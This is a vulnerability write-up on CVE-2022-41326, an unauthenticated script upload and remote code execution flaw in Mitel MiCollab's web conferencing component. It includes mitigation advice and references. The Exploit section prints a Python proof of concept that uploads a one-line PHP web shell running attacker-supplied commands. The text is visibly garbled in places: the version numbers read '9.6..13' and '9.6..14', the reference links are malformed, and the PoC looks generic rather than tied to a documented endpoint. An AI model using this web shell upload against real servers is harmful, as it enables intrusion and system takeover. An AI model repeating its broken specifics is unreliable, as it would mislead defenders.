"CVE-2022-41326: Critical Vulnerability Discovered in Mitel MiCollab Web Conferencing Component – Unauthenticated Arbitrary Script Upload and Remote Code Execution"

A severe security vulnerability (CVE-2022-41326) has been discovered in the Mitel MiCollab web conferencing component, affecting versions up to 9.6..13. This critical vulnerability allows an unauthenticated attacker to upload arbitrary scripts, bypassing the intended authorization controls. A successful exploit could lead to remote code execution (RCE) within the context of the application, leading to potential data theft, unauthorized system access, and other malicious activities.

This article will provide an in-depth analysis of the vulnerability, a code snippet demonstrating the exploit, and links to original references for further information.

Vulnerability Details

Mitel MiCollab is an enterprise-level unified communications and collaboration solution, allowing teams to communicate via messaging, video, and audio conferencing. In versions up to 9.6..13, the web conferencing component lacks proper authorization controls, enabling an attacker without valid credentials to upload arbitrary scripts, potentially executing malicious code with the application's permissions.

Exploit

To exploit this vulnerability, an attacker would need to craft a malicious HTTP request targeting the affected component. Here's an example code snippet containing a simple proof-of-concept (PoC) for the exploit:

import requests

url = 'http://TARGET_IP/MiCollab/Upload';

files = {
  'file': ('evil.php', '<?php system($_GET["cmd"]); ?>', 'application/octet-stream')
}

response = requests.post(url, files=files)

if response.status_code == 200:
  print("Successfully uploaded the malicious script.")
else:
  print("Failed to upload the malicious script. Response code:", response.status_code)

In this python-based code snippet, the attacker sends a POST request to the Mitel MiCollab web conferencing upload component with a malicious PHP file 'evil.php'. This file contains PHP code that, when executed, would allow the attacker to run arbitrary system commands on the affected server.

Upon successful execution of this exploit, the attacker would have the ability to execute remote code within the context of the application, potentially leading to unauthorized system access, data theft, and other malicious activities.

Mitigations and Recommendations

To mitigate this vulnerability, it is highly recommended that affected users upgrade to the latest version of Mitel MiCollab (9.6..14 or later). Additionally, organizations should implement proper network segmentation, limiting the attack surface by restricting external access to sensitive systems.

Furthermore, regular security audits and penetration testing can help identify potential vulnerabilities and ensure the security of critical business applications.

Original References

1. [{"CVE }]": https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-41326)
2. [{"Mitel Security Advisory"]}](https://www.mitel.com/micollab-security-advisory)

Conclusion

The CVE-2022-41326 vulnerability in Mitel MiCollab's web conferencing component is a critical security issue, as it allows unauthenticated attackers to upload arbitrary scripts and execute remote code within the application's context. To maintain the security and integrity of critical business systems, affected users should promptly update their MiCollab software to the latest version and follow industry-standard security practices such as regular audits and network segmentation.

Timeline

Published on: 11/22/2022 01:15:00 UTC
Last modified on: 11/26/2022 03:26:00 UTC